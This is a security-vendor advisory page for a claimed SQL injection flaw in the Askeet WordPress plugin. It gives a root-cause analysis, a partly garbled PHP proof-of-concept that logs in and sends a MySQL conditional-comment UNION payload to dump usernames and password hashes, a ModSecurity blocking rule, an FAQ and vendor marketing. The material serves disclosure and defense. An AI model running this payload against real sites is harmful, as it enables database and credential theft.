“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-5651: The Askeet plugin for WordPress, in versions up to and including 3.0, contains a SQL Injection vulnerability in multiple AJAX actions. The vulnerability resides in the ‘sql_query’ parameter and can be exploited by authenticated attackers with Administrator-level access. The failure to properly sanitize user-supplied SQL allows attackers to extract sensitive data from the WordPress database. This issue has been assigned a CVSS score of 4.9 and is categorized under CWE-89.nnThe root cause of the vulnerability lies in the inadequate input sanitization performed by the ‘askeet_is_safe_query()’ function. This function, designed to prevent dangerous SQL queries, does not account for MySQL’s conditional comments (e.g., /*!UNION*/). While the filter removes standard block comments from the user input, it fails to recognize that MySQL interprets conditional comments as executable code. The vulnerable AJAX hooks are ‘askeet_execute_sql_query’ and ‘askeet_export_all_results’, both of which pass the ‘sql_query’ parameter to the ‘askeet_is_safe_query()’ filter before it is executed against the database.nnAn attacker with Administrator-level access can exploit this vulnerability by sending a crafted request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action set to ‘askeet_execute_sql_query’ or ‘askeet_export_all_results’. The ‘sql_query’ POST parameter would contain a SQL statement that includes a MySQL conditional comment to bypass the input filter. For example, a payload like ‘SELECT * FROM wp_users /*!UNION*/ SELECT user_login, user_pass FROM wp_users’ would pass the filter because the filter only checks for forbidden keywords like ‘UNION’ after stripping regular comments. MySQL would then execute the statement, returning sensitive user data, including password hashes.nnThe provided patch fixes the vulnerability by updating the input sanitization logic in the ‘askeet_is_safe_query()’ function to also strip or neutralize MySQL conditional comments. By addressing this omission, the filter can no longer be bypassed with these comment types. The patched version enforces a stronger check, preventing the execution of unauthorized SQL statements and closing the injection vector.nnSuccessful exploitation of this SQL Injection vulnerability allows an authenticated Administrator to read the entire contents of the WordPress database. This includes user credentials (username and password hashes), private content, and potentially configuration data. While the access level required is high, the confidentiality impact is severe, as it can lead to a complete site takeover if password hashes are cracked.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-5651 – Askeet <= 3.0 – Authenticated (Administrator+) SQL Injection via 'sql_query' Parameternn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => ‘http://your-wordpress-site.com/wp-admin/’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_exec($ch);ncurl_close($ch);nn// Extract a nonce from the admin dashboard for the AJAX call.n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, ‘http://your-wordpress-site.com/wp-admin/admin.php?page=askeet’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$dashboard_html = curl_exec($ch);ncurl_close($ch);nnpreg_match(‘/var askeet_ajax_nonce = “([a-f0-9]+)”/’, $dashboard_html, $nonce_match);nif (empty($nonce_match)) {n // Fallback: try to find it in a hidden inputn preg_match(‘/name=”askeet_ajax_nonce” value=”([a-f0-9]+)”/’, $dashboard_html, $nonce_match_2);n $nonce = $nonce_match_2[1] ?? ”; n} else {n $nonce = $nonce_match[1];n}nnif (empty($nonce)) {n die(‘Failed to extract nonce. Check login credentials or page structure.’);n}nn// 2. Craft the malicious SQL query using a conditional comment to bypass the filter.n// The filter strips /* */ but MySQL executes the code inside /*!…*/n$malicious_query = “SELECT user_login, user_pass FROM wp_users /*!UNION*/ SELECT user_login, user_pass FROM wp_users”;nn$post_data = array(n ‘action’ => ‘askeet_execute_sql_query’,n ‘nonce’ => $nonce,n ‘sql_query’ => $malicious_queryn);nn// 3. Send the AJAX request.n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nn// 4. Display the response, which should contain user hashes if the exploit works.necho “Response from server:\n”;necho $response;necho “\n\nIf you see usernames and password hashes, the vulnerability was successfully exploited.\n”;n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-5651n# Blocks SQL injection attempts targeting the ‘sql_query’ parameter in Askeet plugin AJAX actions.n# Exploitation uses MySQL conditional comments to bypass the plugin’s filter.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20265651,phase:2,deny,status:403,chain,msg:’CVE-2026-5651 via Askeet AJAX SQL injection’,severity:’CRITICAL’,tag:’CVE-2026-5651′”n SecRule ARGS_POST:action “@streq askeet_execute_sql_query” “chain”n SecRule ARGS_POST:sql_query “@rx /\*![a-zA-Z0-9_\s]*[\s]*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE)[\s]/”
}
“`

CVE-2026-5651: Askeet <= 3.0 Authenticated (Administrator+) SQL Injection via 'sql_query' Parameter PoC, Patch Analysis & Rule
CVE-2026-5651
askeet
3.0
3.1
Analysis Overview
Frequently Asked Questions
What is CVE-2026-5651?
Vulnerability overviewCVE-2026-5651 is a SQL Injection vulnerability in the Askeet plugin for WordPress, affecting versions up to and including 3.0. It allows authenticated attackers with Administrator-level access to execute arbitrary SQL queries via the ‘sql_query’ parameter in certain AJAX actions, potentially extracting sensitive data from the database.
How does the SQL injection occur?
Technical explanationThe vulnerability stems from the ‘askeet_is_safe_query()’ function, which is intended to block dangerous SQL keywords. However, it fails to account for MySQL conditional comments (e.g., /*!UNION*/). While the filter strips regular block comments, MySQL interprets conditional comments as executable code, allowing attackers to bypass the filter and inject additional SQL.
Which AJAX actions are vulnerable?
Affected endpointsThe vulnerable AJAX actions are ‘askeet_execute_sql_query’ and ‘askeet_export_all_results’. Both actions pass the ‘sql_query’ parameter to the ‘askeet_is_safe_query()’ filter before executing the query, making them susceptible to the bypass.
Who is affected by this vulnerability?
Affected usersWordPress sites running the Askeet plugin version 3.0 or earlier are affected. However, exploitation requires an authenticated user with Administrator-level access or higher, so the risk is limited to sites where such users are present.
How can I check if my site is vulnerable?
Detection stepsCheck the Askeet plugin version in the WordPress admin dashboard under Plugins. If the version is 3.0 or lower, the site is vulnerable. You can also review the plugin’s changelog to see if the version is before 3.1, which contains the patch.
What is the practical risk of this vulnerability?
Impact assessmentThe CVSS score is 4.9 (Medium), indicating moderate severity. Successful exploitation allows an Administrator to read the entire database, including user credentials and password hashes. This could lead to account takeover if hashes are cracked, but the required high privilege level reduces the overall risk.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanationThe PoC logs in as an Administrator, extracts a nonce, and sends a crafted AJAX request with a malicious ‘sql_query’ containing a conditional comment like /*!UNION*/. The filter is bypassed, and the response includes user data, proving the injection.
What is the recommended fix for this vulnerability?
Patch guidanceUpdate the Askeet plugin to version 3.1 or later, which addresses the issue by improving the ‘askeet_is_safe_query()’ function to neutralize MySQL conditional comments. This prevents the bypass and closes the injection vector.
Are there any temporary mitigations if I cannot update immediately?
WorkaroundsAs a temporary measure, restrict Administrator access to trusted users only, and consider using a Web Application Firewall (WAF) with rules to block suspicious ‘sql_query’ parameters. However, updating the plugin is the only complete fix.
What is the role of the 'askeet_is_safe_query()' filter?
Filter purposeThis function is designed to sanitize user-supplied SQL queries by stripping comments and blocking dangerous keywords like UNION, SELECT, and others. However, its failure to handle MySQL conditional comments allows attackers to bypass these restrictions.
Can this vulnerability be exploited remotely?
Exploitation prerequisitesNo, the attacker must be authenticated as an Administrator. They need valid credentials to access the admin dashboard and trigger the AJAX actions. Therefore, it is not remotely exploitable without prior access.
What data can be extracted through this SQL injection?
Data exposureAn attacker can extract any data from the WordPress database, including usernames, password hashes, user emails, private posts, and configuration settings. This could lead to full site compromise if password hashes are cracked.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






